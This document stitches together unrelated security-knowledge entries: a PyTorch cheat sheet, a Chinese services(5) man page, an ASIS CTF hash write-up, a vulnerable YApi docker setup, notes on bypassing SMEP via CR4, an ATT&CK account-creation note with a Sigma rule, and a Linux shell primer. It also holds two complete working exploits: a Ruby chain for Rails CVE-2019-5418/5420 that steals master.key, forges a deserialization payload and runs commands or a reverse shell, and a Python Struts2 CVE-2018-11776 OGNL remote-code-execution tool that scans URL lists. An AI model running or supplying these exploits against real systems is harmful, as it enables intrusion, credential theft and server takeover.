Deep Learning ``` nn.Linear(m,n) # fully connected layer from # m to n units nn.ConvXd(m,n,s) # X dimensional conv layer from # m to n channels where X⍷{1,2,3} # and the kernel size is s nn.MaxPoolXd(s) # X dimension pooling layer # (notation as above) nn.BatchNormXd # batch norm layer nn.RNN/LSTM/GRU # recurrent layers nn.Dropout(p=0.5, inplace=False) # dropout layer for any dimensional input nn.Dropout2d(p=0.5, inplace=False) # 2-dimensional channel-wise dropout nn.Embedding(num_embeddings, embedding_dim) # (tensor-wise) mapping from # indices to embedding vectors ``` ### Loss Functions ``` nn.X # where X is L1Loss, MSELoss, CrossEntropyLoss # CTCLoss, NLLLoss, PoissonNLLLoss, # KLDivLoss, BCELoss, BCEWithLogitsLoss, # MarginRankingLoss, HingeEmbeddingLoss, # MultiLabelMarginLoss, SmoothL1Loss, # SoftMarginLoss, MultiLabelSoftMarginLoss, # CosineEmbeddingLoss, MultiMarginLoss, # or TripletMarginLoss ``` ### Activation Functions ``` nn.X # where X is ReLU, ReLU6, ELU, SELU, PReLU, LeakyReLU, # RReLu, CELU, GELU, Threshold, Hardshrink, HardTanh, # Sigmoid, LogSigmoid, Softplus, SoftShrink, # Softsign, Tanh, TanhShrink, Softmin, Softmax, # Softmax2d, LogSoftmax or AdaptiveSoftmaxWithLoss ``` ### Optimizers ``` opt = optim.x(model.parameters(), ...) # create optimizer opt.step() # update weights optim.X # where X is SGD, Adadelta, Adagrad, Adam, # AdamW, SparseAdam, Adamax, ASGD, # LBFGS, RMSprop or Rprop ``` ### Learning rate scheduling ``` scheduler = optim.X(optimizer,...) # create lr scheduler scheduler.step() # update lr after optimizer updates weights optim.lr_scheduler.X # where X is LambdaLR, MultiplicativeLR, # StepLR, MultiStepLR, ExponentialLR, # CosineAnnealingLR, ReduceLROnPlateau, CyclicLR, # OneCycleLR, CosineAnnealingWarmRestarts, ``` ## Data Utilities { .cols-1 } ### Datasets ``` Dataset # abstract class representing dataset TensorDataset # labelled dataset in the form of tensors Concat Dataset # concatenation of Datasets ``` ### Dataloaders and DataSamplers ``` DataLoader(dataset, batch_size=1, ...) # loads data batches agnostic # of structure of individual data points sampler.Sampler(dataset,...) # abstract class dealing with # ways to sample from dataset sampler.XSampler where ... # Sequential, Random, SubsetRandom, # WeightedRandom, Batch, Distributed ```
sec-knowleage
.\" 本man页版权所有(C)1996 Austin Donnelly <and1000@cam.ac.uk>, .\" 附加资源版权(c)1995 Martin Schulze <joey@infodrom.north.de>. .\" .\" 在保留了版权通告和该使用权限通告的前提下,可以授权生成和发布 .\" 该手册的复制版本 .\" .\" 在所有最终工作是按照与本篇中一致的权限通告的条例来发布并提供 .\" 了逐字复制的前提下,可以授权复制发布该手册的修改版本. .\" .\" 因为Linux内核和库经常改变,该手册页可能会不正确或者过时.作者 .\" (们)对这些错误、遗漏或者因使用其中的信息而导致的损害不承担任 .\" 何责任.作者(们)在编写该免费许可的手册时,可能不是基于同样水平 .\" 的考虑,但在专业化工作时他们会这样做的. .\" .\" 该手册的格式化或者处理过的版本,如果没有包括源文件,则必须承认 .\" 其版权以及这篇作品的作者. .\" 本man页合并了两个独立编写的man页,一个由Martin Schulze(1995年 .\" 10月18日)完成,另一个由Austin Donnelly(1996年1月9日)完成. .\" .\" 1996年1月11日星期四12:14:41 Austin Donnelly <and1000@cam.ac.uk> .\" * 合并两个services(5)man页 .TH SERVICES 5 "1996年1月11日" "Linux 程序员手册" .SH NAME(名称) services \- Internet 网络服务列表 .SH DESCRIPTION(描述) .B services 是一个普通的 ASCII 码文件, 它在 internet 服务的友好原文名以及这些服务预先分配的 端口和协议类型之间提供了映射. 每个联网程序必须查找该文件以获取 其服务的端口号(和协议). C 库例程 .BR getservent (3), .BR getservbyname (3), .BR getservbyport (3), .BR setservent (3), 和 .BR endservent (3) 支持由程序查询该文件. 端口号由 IANA(Internet Assigned Numbers Authority) 分配, 他们当前的工作是分配端口号时, 指定 TCP 和 UDP 协议. 这样, 大多数记录会包括两条子记录, 即使只是 TCP 的服务也是如此 端口号在 1024 之下的(也称作'低编码'端口)只能由 root (参见 .BR bind (2), tcp (7), 和 udp (7).) 绑定. 这样连接到低编码端口的客户可信任运行在该端口上的服务是标准的实现, 而不是由某台机器的用户运行的无聊的服务.由 IANA 确定的众所周知的端口号通常只在 root 的控制范围之内 在 .B services 文件中出现的一条服务记录并不表示该服务当前在机器上运行.参见 .BR inetd.conf (5) 以获知提供的Internet服务的配置.注意不是所有联网服务都由 .BR inetd (8) 启动,因而也不会出现在 .BR inetd.conf (5) 之中. 特别地,news (NNTP)和mail (SMTP)服务程序通常由系统引导脚本初始化. .B services 文件所存放的位置由 .IR /usr/include/netdb.h 中的 .B _PATH_SERVICES 定义. 它通常设为 .IR /etc/services . 每行描述了一个服务,其格式如下: .IP \f2服务名\ \ \ 端口\f3/\f2协议\ \ \ \f1[\f2别名 ...\f1] 这里的 .TP 10 .I 服务名 是给服务所起的可供查找的友好的名字.它是区分大小写的.通常,客户端程序都以 .IR 服务名 命名. .TP .I 端口 为该服务所用的端口号(十进制格式). .TP .I 协议 为所使用的协议类型.该字段应与 .BR protocols (5) 文件中的一条记录相匹配.典型的值包括 .B tcp 和 .BR udp . .TP .I 别名 可以空缺,或者是以tab分隔的该服务的其他名字的列表(不过请查看下面的BUGS章节).同样, 这些名字也是区分大小写的. .PP 可以使用空格或者tab分隔这些字段. 注释以hash标识(#)开头,一直到该行末结束.空行可跳过. .I 服务名 必须是该文件的第一列,因为其前面的空格不会删去. .I 服务名 可以为任何可打印的字符,包括空格和tab,但是,应该使用字符的保守选择来最低限度地减少 操作中的问题.例如:a-z,0-9,和连字符(\-)看上去就是一个合理的选择. 不匹配该格式的行不应该在该文件中出现.(当前情况下, .BR getservent (3), getservbyname (3), 和 getservbyport (3) 可以忽略它们.不过,不应该依靠这种方法.) 为了向后兼容,在 .I 端口 号和 .I 协议 名之间的斜杠(/)实际可以为斜杠或者是逗号(,).在现代的安装中使用逗号是落后的. 该文件也可以通过使用网络级命名服务如黄页/NIS(Yellow Pages/NIS)或BIND/Hesiod来在一 个网络中发布. 一个 .B services 的样本文件看上去如下: .RS .nf .sp .ta 3i netstat 15/tcp qotd 17/tcp quote msp 18/tcp # message send protocol msp 18/udp # message send protocol chargen 19/tcp ttytst source chargen 19/udp ttytst source ftp 21/tcp # 22 - unassigned telnet 23/tcp .sp .fi .RE .SH BUGS 最大只能有35个别名,这是由 .BR getservent (3) 代码的写入方式决定的. 比 .B BUFSIZ (当前为1024)个字符更长的行, .BR getservent (3), getservbyname (3), and getservbyport (3) 会忽略掉. 不过,这也会导致错过下一行. .SH FILES(相关文件) .TP .I /etc/services Internet网络服务列表 .TP .I /usr/include/netdb.h .B _PATH_SERVICES 的定义 .SH SEE ALSO(另见) .BR getservent (3), .BR getservbyname (3), .BR getservbyport (3), .BR setservent (3), .BR endservent (3), .BR protocols (5), .BR listen (2), .BR inetd.conf (5), .BR inetd (8). 分配号码RFC,最新的RFC 1700,(AKA STD0002) 黄页服务的指南 BIND/Hesiod服务的指南 .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .SH "[中文版最新更新]" .B 2000/11/01 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
## AsisHash 150 (re, 150p) ### PL [ENG](#eng-version) Dostajemy [program](./hash.elf) (elf). Analizujemy jego działanie, w dużym uproszczeniu wygląda to tak: int main() { char password[...]; scanf("%s", password); char *hash = hash_password(password); if (!strcmp(hash, good_hash)) { puts("Congratz, you got the flag :) "); } else { puts("Sorry! flag is not correct!"); } } Funkcja hash_password jest bardzo skomplikowana i nawet nie próbowaliśmy analizować jej działania. Zamiast tego zrobiliśmy coś prostszego - ponieważ hash jest monotoniczny (dla dłuższych haseł/wyższych znaków ascii daje wyższe wyniki), spróbowaliśmy zgadnac hash (docelowy hash flagi jest stay i równy 27221558106229772521592198788202006619458470800161007384471764) za pomocą bruteforcowania z nawrotami wszystkich możliwych flag: import subprocess def run(flag): return subprocess.check_output(['./hash.elf', flag]).split('\n')[0] def prefx(a, b): p = 0 for ac, bc in zip(a, b): if ac == bc: p += 1 else: break return p def plaintext(t): return ''.join(c if 32 <= ord(c) <= 127 else '.' for c in t) sln = '27221558106229772521592198788202006619458470800161007384471764' charset = '0123456789abcdef}' def tryit(f, r, n): pp = prefx(sln, r) print plaintext(f), r[:pp], r[pp:] stat = '<' if sln[pp] < r[pp] else '>' print plaintext(f), r[:pp], r[pp:], stat for c in charset: f2 = f[:n] + c + f[n+1:] r2 = run(f2) p2 = prefx(sln, r2) if p2 > pp: s = tryit(f2, r2, n+1) if s == '>': return return stat for c in range(256): # try to guess good initial padding print c, '!!!!!!!!!!!' # debug info placeholder = chr(c) start = 'ASIS{' + placeholder * 33 start = 'ASIS{d5c808f5dc96567bda48' + placeholder * 13 # algorytm zacinał się czasami, więc ręcznie dawaliśmy mu dobre wartości początkowe przeniesione z poprzednich wykonań. start = 'ASIS{d5c808f5dc96567bda48be9ba82fc1d' + placeholder * 2 tryit(start, run(start), len(start.replace(placeholder, ''))) Po chwili czekania i tweakowania algorytmu, dostajemy flagę: ASIS{d5c808f5dc96567bda48be9ba82fc1d6} ### ENG version We get a [binary](./hash.elf) (elf). We analyse its behaviour and it is doing: int main() { char password[...]; scanf("%s", password); char *hash = hash_password(password); if (!strcmp(hash, good_hash)) { puts("Congratz, you got the flag :) "); } else { puts("Sorry! flag is not correct!"); } } The `hash_password` function is very complex and we didn't ever try to analyse it. Instead we did something simpler - since the hash is monotonous (for longer input/higher characters it gives higher results) we tried guessing correct flag (flag hash is known and equal to (27221558106229772521592198788202006619458470800161007384471764) using bruteforce with backtracing: import subprocess def run(flag): return subprocess.check_output(['./hash.elf', flag]).split('\n')[0] def prefx(a, b): p = 0 for ac, bc in zip(a, b): if ac == bc: p += 1 else: break return p def plaintext(t): return ''.join(c if 32 <= ord(c) <= 127 else '.' for c in t) sln = '27221558106229772521592198788202006619458470800161007384471764' charset = '0123456789abcdef}' def tryit(f, r, n): pp = prefx(sln, r) print plaintext(f), r[:pp], r[pp:] stat = '<' if sln[pp] < r[pp] else '>' print plaintext(f), r[:pp], r[pp:], stat for c in charset: f2 = f[:n] + c + f[n+1:] r2 = run(f2) p2 = prefx(sln, r2) if p2 > pp: s = tryit(f2, r2, n+1) if s == '>': return return stat for c in range(256): # try to guess good initial padding print c, '!!!!!!!!!!!' # debug info placeholder = chr(c) start = 'ASIS{' + placeholder * 33 start = 'ASIS{d5c808f5dc96567bda48' + placeholder * 13 # the algorithm sometimes was stuck so we were starting it again with already pre-computed prefixes start = 'ASIS{d5c808f5dc96567bda48be9ba82fc1d' + placeholder * 2 tryit(start, run(start), len(start.replace(placeholder, ''))) And after a short while and some optimizations to the algorithm we get the flag: ASIS{d5c808f5dc96567bda48be9ba82fc1d6}
sec-knowleage
version: '2' services: mongo: image: mongo:5.0.6 environment: MONGO_INITDB_ROOT_USERNAME: root MONGO_INITDB_ROOT_PASSWORD: root MONGO_INITDB_DATABASE: yapi web: image: vulhub/yapi:1.9.2 ports: - "3000:3000" volumes: - ./config.json:/usr/config.json environment: - MONGO_ADDR=mongo:27017
sec-knowleage
# 用户代码不可执行 起初,在内核态执行代码时,可以直接执行用户态的代码。那如果攻击者控制了内核中的执行流,就可以执行处于用户态的代码。由于用户态的代码是攻击者可控的,所以更容易实施攻击。为了防范这种攻击,研究者提出当位于内核态时,不能执行用户态的代码。在 Linux 内核中,这个防御措施的实现是与指令集架构相关的。 ## x86 - SMEP - Supervisor Mode Execution Protection x86 下对应的保护机制的名字为 SMEP。CR4 寄存器中的第 20 位用来标记是否开启 SMEP 保护。 ### 发展历史 TODO。 ### 实现 TODO。 ### 开启与关闭 #### 开启 默认情况下,SMEP 保护是开启的。 如果是使用 qemu 启动的内核,我们可以在 `-append` 选项中添加 `+smep` 来开启 SMEP。 #### 关闭 在 `/etc/default/grub` 的如下两行中添加 nosmep ``` GRUB_CMDLINE_LINUX_DEFAULT="quiet" GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz" ``` 然后运行 `update-grub` 并且重启系统就可以关闭 smep。 如果是使用 qemu 启动的内核,我们可以在 `-append` 选项中添加 `nosmep` 来关闭 SMEP。 ### 状态查看 通过如下命令可以检查 SMEP 是否开启,如果发现了 smep 字符串就说明开启了 smep 保护,否则没有开启。 ```bash grep smep /proc/cpuinfo ``` ### Attack SMEP 把 CR4 寄存器中的第 20 位置为 0 后,我们就可以执行用户态的代码。一般而言,我们会使用 0x6f0 来设置 CR4,这样 SMAP 和 SMEP 都会被关闭。 内核中修改 cr4 的代码最终会调用到 `native_write_cr4`,当我们能够劫持控制流后,我们可以执行内核中的 gadget 来修改 CR4。从另外一个维度来看,内核中存在固定的修改 cr4 的代码,比如在 `refresh_pce` 函数、` set_tsc_mode` 等函数里都有。 ## ARM - PXN TODO。 ## 参考 - https://duasynt.com/slides/smep_bypass.pdf - https://github.com/torvalds/linux/commit/15385dfe7e0fa6866b204dd0d14aec2cc48fc0a7
sec-knowleage
# T1098-win-账户操作 ## 来自ATT&CK的描述 帐户操作可以帮助攻击者维持在环境中对凭据和某些权限级别的访问。账户操作可能包括修改权限,修改凭据,添加或更改权限组,修改帐户设置或修改执行身份验证等方式。为了创建或操纵帐户,攻击者必须已经对系统或域具有足够的权限。 ## 测试案例 使用windows系统自身的一些安全进程(CMD/Powershell等)来执行这些操作,也可以利用一些经典的工具来进行账户操作(mimikatz等)。前提是你已经对系统或者域具有足够的权限。 ## 检测日志 windows 安全日志 ## 测试复现 ```dos C:\Windows\system32>net user test321 Test.321 /add 命令成功完成。 ``` ## 测试留痕 windows安全事件ID,多事件关联分析 ## 检测规则/思路 ### Sigma规则 ```yml title: Net.exe创建本地用户 status: 测试阶段 description: 通过创建本地用户net.exe文件命令 tags: - attack.t1098 logsource: category: process_creation product: windows detection: selection: Eventid: - 4688 #进程创建,windows 安全日志,Windows server 2012及以上版本配置相关审核策略,可记录系统命令行参数 - 1 #进程创建,Windows sysmon日志,需要自行安装并配置sysmon Image|endswith: - '\net.exe' - '\net1.exe' CommandLine|contains|all: - 'user' - 'add' condition: selection fields: - ComputerName - User - CommandLine falsepositives: - Legit user creation - Better use event ids for user creation rather than command line rules level: medium ``` ### 建议 可根据红队常用Net命令进行有效监控分析。 ## 参考推荐 MITRE-ATT&CK-T1098 <https://attack.mitre.org/techniques/T1098/>
sec-knowleage
require 'erb' require "./demo-5.2.1/config/environment" require "base64" require 'net/http' $proxy_addr = '127.0.0.1' $proxy_port = 8080 $remote = "http://172.18.0.3:3000" $ressource = "/demo" puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n" print "[+] Checking if vulnerable to CVE-2019-5418 => " uri = URI($remote + $ressource) req = Net::HTTP::Get.new(uri) req['Accept'] = "../../../../../../../../../../etc/passwd{{" res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| http.request(req) } if res.body.include? "root:x:0:0:root:" puts "\033[92mOK\033[0m" else puts "KO" abort end print "[+] Getting file => credentials.yml.enc => " path = "../../../../../../../../../../config/credentials.yml.enc{{" for $i in 0..9 uri = URI($remote + $ressource) req = Net::HTTP::Get.new(uri) req['Accept'] = path[3..57] res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| http.request(req) } if res.code == "200" puts "\033[92mOK\033[0m" File.open("credentials.yml.enc", 'w') { |file| file.write(res.body) } break end path = path[3..57] $i +=1; end print "[+] Getting file => master.key => " path = "../../../../../../../../../../config/master.key{{" for $i in 0..9 uri = URI($remote + $ressource) req = Net::HTTP::Get.new(uri) req['Accept'] = path[3..57] res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| http.request(req) } if res.code == "200" puts "\033[92mOK\033[0m" File.open("master.key", 'w') { |file| file.write(res.body) } break end path = path[3..57] $i +=1; end print "[+] Decrypt secret_key_base => " credentials_config_path = File.join("../", "credentials.yml.enc") credentials_key_path = File.join("../", "master.key") ENV["RAILS_MASTER_KEY"] = res.body credentials = ActiveSupport::EncryptedConfiguration.new( config_path: Rails.root.join(credentials_config_path), key_path: Rails.root.join(credentials_key_path), env_key: "RAILS_MASTER_KEY", raise_if_missing_key: true ) if credentials.secret_key_base != nil puts "\033[92mOK\033[0m" puts "" puts "secret_key_base": credentials.secret_key_base puts "" end puts "[+] Getting reflective command (R) or reverse shell (S) => " loop do begin input = [(print 'Select option R or S: '), gets.rstrip][1] if input == "R" puts "Reflective command selected" command = [(print "command (\033[92mreflected\033[0m): "), gets.rstrip][1] elsif input == "S" puts "Reverse shell selected" command = [(print "command (\033[92mnot reflected\033[0m): "), gets.rstrip][1] else puts "No option selected" abort end command_b64 = Base64.encode64(command) print "[+] Generating payload CVE-2019-5420 => " secret_key_base = credentials.secret_key_base key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)) secret = key_generator.generate_key("ActiveStorage") verifier = ActiveSupport::MessageVerifier.new(secret) if input == "R" code = "system('bash','-c','" + command + " > /tmp/result.txt')" else code = "system('bash','-c','" + command + "')" end erb = ERB.allocate erb.instance_variable_set :@src, code erb.instance_variable_set :@filename, "1" erb.instance_variable_set :@lineno, 1 dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result puts "\033[92mOK\033[0m" puts "" url = $remote + "/rails/active_storage/disk/" + verifier.generate(dump_target, purpose: :blob_key) + "/test" puts url puts "" print "[+] Sending request => " uri = URI(url) req = Net::HTTP::Get.new(uri) req['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| http.request(req) } if res.code == "500" puts "\033[92mOK\033[0m" else puts "KO" abort end if input == "R" print "[+] Getting result of command => " uri = URI($remote + $ressource) req = Net::HTTP::Get.new(uri) req['Accept'] = "../../../../../../../../../../tmp/result.txt{{" res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| http.request(req) } if res.code == "200" puts "\033[92mOK\033[0m\n\n" puts res.body puts "\n" else puts "KO" abort end end rescue Exception => e puts "Exiting..." abort end end
sec-knowleage
# 初识命令行界面 Shell 是系统的用户界面,提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执行。 ### shell 环境 Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。 Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。 Ken Thompson 的 sh 是第一种 Unix Shell,Windows Explorer 是一个典型的图形界面 Shell。 ### 怎么进入 状态行界面 我们平时在图形界面用的都是普通用户,没有系统用户权限不能修改一些系统配置文件,那么怎么获取系统权限 #### 获取系统权限 在Linux系统下,以普通用户身份登录之后,可以按照以下步骤使用下root权限 在普通用户下登录 Linux:如果是`xx@PC:~$`,则表明当前是普通用户 ##### 修改 root 密码: ``` sudo passwd root ``` 会提示你输入密码,及新的密码,如下所示: ``` [sudo] liuenqing 的密码:[输入密码] 输入新的 UNIX 密码:[输入新密码] 重新输入新的 UNIX 密码:[输入新密码] ``` 若显示`passwd:已成功更新密码`,此时,root用户已经启用。 ##### 进入root的操作如下: ``` su - ``` 会提示你输入密码 ``` su - 密码:[输入密码] ``` > 如果和下面代码一样`$`变成了`#`,说明现在是使用root用户。 ``` liuenqing@liuenqing-PC:~$ su - 密码: root@liuenqing-PC:~# ``` 此时,已经可以进行root权限的操作了 **注意**: 输入密码,系统为了安全起见,它不把输入的密码隐藏起来,所以看不到你输入的密码。因此在这里请不要纠结。 **小贴士**:这里说一下`su -root`和`su root`的区别: - su 是不改变当前变量 - su 后面不加用户是默认切到 root - su 只能获得root的执行权限,不能获得环境变量 - su - 是改变为切换到用户的变量 - su - 是切换到root并获得root的环境变量及执行权限 ##### 切换用户 如果想重新回到普通用户的话,则可以直接使用下面语句: ``` su [普通用户名] ``` 该过程不需要输入密码。 #### 方法一:图形界面中怎么进入 命令行界面 各种 Linux 版本开机就有好几个界面,一般有7个界面,其中 1 个是图形界面,6 个是控制台界面(输命令),编号为`tty1~tty7`。 界面之间切换快捷键: ``` Ctrl+Alt [f1~f7] Ctrl+Alt+Fn [f1~f7] Alt+Ctrl+shift+Fn [f1~f7] //一般 f7 为图形界面 ``` **注意**:每个控制台界面需要重新登录。因为只登录了图形界面。 #### 方法二:终端 当然有了图形界面,很多人会觉得再用完全控制台模式就很蛋疼。 在图形界面里可以找到系统工具,里面的终端,即可在图形界面中使用控制台 shell,就像在 windows 里使用 cmd 一样,符合使用 windows 的人的习惯。 打开终端快捷件 ``` Ctrl+Alt+T ``` #### 方法三:开机进入命令行界面 有些人可能不想习惯图形模式,反而习惯dos的命令模式,怎么才能一开机就是控制台模式,而不要进入图形界面呢? 这是因为Linux操作系统有六种不同的运行级别(见 /etc/inittab 文件中描述),在不同的运行级下,系统有着不同的状态,这六种运行级分别为: ``` Default runlevel. The runlevels used by RHS are: 0 - halt (Do NOT set initdefault to this) 1 - Single user mode 2 - Multiuser, without NFS (The same as 3, if you do not have networking) 3 - Full multiuser mode 4 - unused 5 - X11 6 - reboot (Do NOT set initdefault to this) ``` 0:停机(记住不要把initdefault设置为0,因为这样会使Linux无法启动) 1:单用户模式,就像Win9X下的安全模式。 2:多用户,但是没有 NFS 。 3:完全多用户模式,标准的运行级。 4:一般不用,在一些特殊情况下可以用它来做一些事情。 5:X11,即进到 X-Window 系统。 6:重新启动(记住不要把initdefault设置为6,否则会使Linux不断地重新启动) 也就是说linux共6种启动方式,模式5是进入图形界面,而模式3是进入控制台界面。而现在的图形界面操作系统,默认为模式5启动。 #### 在老版本的 Linux 中 为了让Linux系统在启动后能直接进入到控制台字符操作模式,我们可以配置/etc/inittab文件。 ``` vi /etc/inittab ``` 找到`id:5: initdefault:`改为下面代码 ``` id:3:initdefault: ``` 然后后重新启动系统,就能实现启动时直接进入控制台字符操作界面。 #### 新版本中的方法 **推荐方法** 因为开机时可以选择进入命令行还是界面模式 ``` sudo chmod +w /boot/grub/grub.cfg //增加可写权限 ``` ``` sudo gedit /boot/grub/grub.cfg //编辑配置文件 ``` 会找到小面这段文字: ``` menuentry 'Ubuntu,Linux 3.2.0-24-generic-pae' --class ubuntu --class gnu-linux --class gnu --class os { recordfail gfxmode $linux_gfx_mode insmod gzio insmod part_msdos insmod ext2 set root='(hd0,msdos8)' search --no-floppy --fs-uuid --set=root 689a61a1-06fd-4ffe-95d7-8671e97bbe81 linux /boot/vmlinuz-3.2.0-24-generic-pae root=UUID=689a61a1-06fd-4ffe-95d7-8671e97bbe81 ro quiet splash $vt_handoff initrd /boot/initrd.img-3.2.0-24-generic-pae } ``` 复制上面的文字,并在后面粘贴下来。 修改一些设置。修改后如下 ``` menuentry 'Ubuntu,Linux 3.2.0-24-generic-pae(command mode)' --class ubuntu --class gnu-linux --class gnu --class os { recordfail gfxmode $linux_gfx_mode insmod gzio insmod part_msdos insmod ext2 set root='(hd0,msdos8)' search --no-floppy --fs-uuid --set=root 689a61a1-06fd-4ffe-95d7-8671e97bbe81 linux /boot/vmlinuz-3.2.0-24-generic-pae root=UUID=689a61a1-06fd-4ffe-95d7-8671e97bbe81 ro text initrd /boot/initrd.img-3.2.0-24-generic-pae } ``` 这就可以了。我的是物理机直接安装的,在开机时就有菜单了,直接选择 Ubuntu,Linux 3.2.0-24-generic-pae(command mode) 这个选项即可 如果 **虚拟机安装** 的话,也许开机是没有选项的(我用的VM虚拟机安装默认的就没有选择菜单)解决方法如下: 开机启动时,grub菜单 系统默认是隐藏的,去掉隐藏需要做如下操作 你需要修改`/etc/default/grub`其中的某一行(自己找找,就在前面), ``` sudo gedit /etc/default/grub ``` ``` GRUB_HIDDEN_TIMEOUT=0(默认是0,修要修改成大于0的值,比如10) ``` 保存后退出! 再执行命令: ``` sudo update-grub ``` 好了,设置完成 **方法二** 开机直接进入控制台界面 ``` sudo gedit /etc/default/grub ``` 找到这一行 ``` GRUB_CMDLINE_LINUX_DEFAULT="quiet splash" ``` 改成 ``` GRUB_CMDLINE_LINUX_DEFAULT="quiet splash text" ``` 在输入命令: ``` sudo update-grub ``` 开机后就自动进入 tty1 了
sec-knowleage
#!/usr/bin/env python3 # coding=utf-8 # ***************************************************** # struts-pwn: Apache Struts CVE-2018-11776 Exploit # Author: # Mazin Ahmed <Mazin AT MazinAhmed DOT net> # This code uses a payload from: # https://github.com/jas502n/St2-057 # ***************************************************** from __future__ import print_function from future import standard_library standard_library.install_aliases() from builtins import str from builtins import range import argparse import random import requests import sys try: from urllib import parse as urlparse except ImportError: import urllib.parse # Disable SSL warnings try: import requests.packages.urllib3 requests.packages.urllib3.disable_warnings() except Exception: pass if len(sys.argv) <= 1: print('[*] CVE: 2018-11776 - Apache Struts2 S2-057') print('[*] Struts-PWN - @mazen160') print('\n%s -h for help.' % (sys.argv[0])) exit(0) parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", dest="url", help="Check a single URL.", action='store') parser.add_argument("-l", "--list", dest="usedlist", help="Check a list of URLs.", action='store') parser.add_argument("-c", "--cmd", dest="cmd", help="Command to execute. (Default: 'id')", action='store', default='id') parser.add_argument("--exploit", dest="do_exploit", help="Exploit.", action='store_true') args = parser.parse_args() url = args.url if args.url else None usedlist = args.usedlist if args.usedlist else None cmd = args.cmd if args.cmd else None do_exploit = args.do_exploit if args.do_exploit else None headers = { 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)', # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', 'Accept': '*/*' } timeout = 3 def parse_url(url): """ Parses the URL. """ # url: http://example.com/demo/struts2-showcase/index.action url = url.replace('#', '%23') url = url.replace(' ', '%20') if ('://' not in url): url = str("http://") + str(url) scheme = urllib.parse.urlparse(url).scheme # Site: http://example.com site = scheme + '://' + urllib.parse.urlparse(url).netloc # FilePath: /demo/struts2-showcase/index.action file_path = urllib.parse.urlparse(url).path if (file_path == ''): file_path = '/' # Filename: index.action try: filename = url.split('/')[-1] except IndexError: filename = '' # File Dir: /demo/struts2-showcase/ file_dir = file_path.rstrip(filename) if (file_dir == ''): file_dir = '/' return({"site": site, "file_dir": file_dir, "filename": filename}) def build_injection_inputs(url): """ Builds injection inputs for the check. """ parsed_url = parse_url(url) injection_inputs = [] url_directories = parsed_url["file_dir"].split("/") try: url_directories.remove("") except ValueError: pass for i in range(len(url_directories)): injection_entry = "/".join(url_directories[:i]) if not injection_entry.startswith("/"): injection_entry = "/%s" % (injection_entry) if not injection_entry.endswith("/"): injection_entry = "%s/" % (injection_entry) injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload. injection_entry += parsed_url["filename"] injection_inputs.append(injection_entry) return(injection_inputs) def check(url): random_value = int(''.join(random.choice('0123456789') for i in range(2))) multiplication_value = random_value * random_value injection_points = build_injection_inputs(url) parsed_url = parse_url(url) print("[%] Checking for CVE-2018-11776") print("[*] URL: %s" % (url)) print("[*] Total of Attempts: (%s)" % (len(injection_points))) attempts_counter = 0 for injection_point in injection_points: attempts_counter += 1 print("[%s/%s]" % (attempts_counter, len(injection_points))) testing_url = "%s%s" % (parsed_url["site"], injection_point) testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value)) try: resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) except Exception as e: print("EXCEPTION::::--> " + str(e)) continue if "Location" in list(resp.headers.keys()): if str(multiplication_value) in resp.headers['Location']: print("[*] Status: Vulnerable!") return(injection_point) print("[*] Status: Not Affected.") return(None) def exploit(url, cmd): parsed_url = parse_url(url) injection_point = check(url) if injection_point is None: print("[%] Target is not vulnerable.") return(0) print("[%] Exploiting...") payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd) testing_url = "%s%s" % (parsed_url["site"], injection_point) testing_url = testing_url.replace("{{INJECTION_POINT}}", payload) try: resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) except Exception as e: print("EXCEPTION::::--> " + str(e)) return(1) print("[%] Response:") print(resp.text) return(0) def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit): if url: if not do_exploit: check(url) else: exploit(url, cmd) if usedlist: URLs_List = [] try: f_file = open(str(usedlist), "r") URLs_List = f_file.read().replace("\r", "").split("\n") try: URLs_List.remove("") except ValueError: pass f_file.close() except Exception as e: print("Error: There was an error in reading list file.") print("Exception: " + str(e)) exit(1) for url in URLs_List: if not do_exploit: check(url) else: exploit(url, cmd) print("[%] Done.") if __name__ == "__main__": try: main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit) except KeyboardInterrupt: print("\nKeyboardInterrupt Detected.") print("Exiting...") exit(0)
sec-knowleage
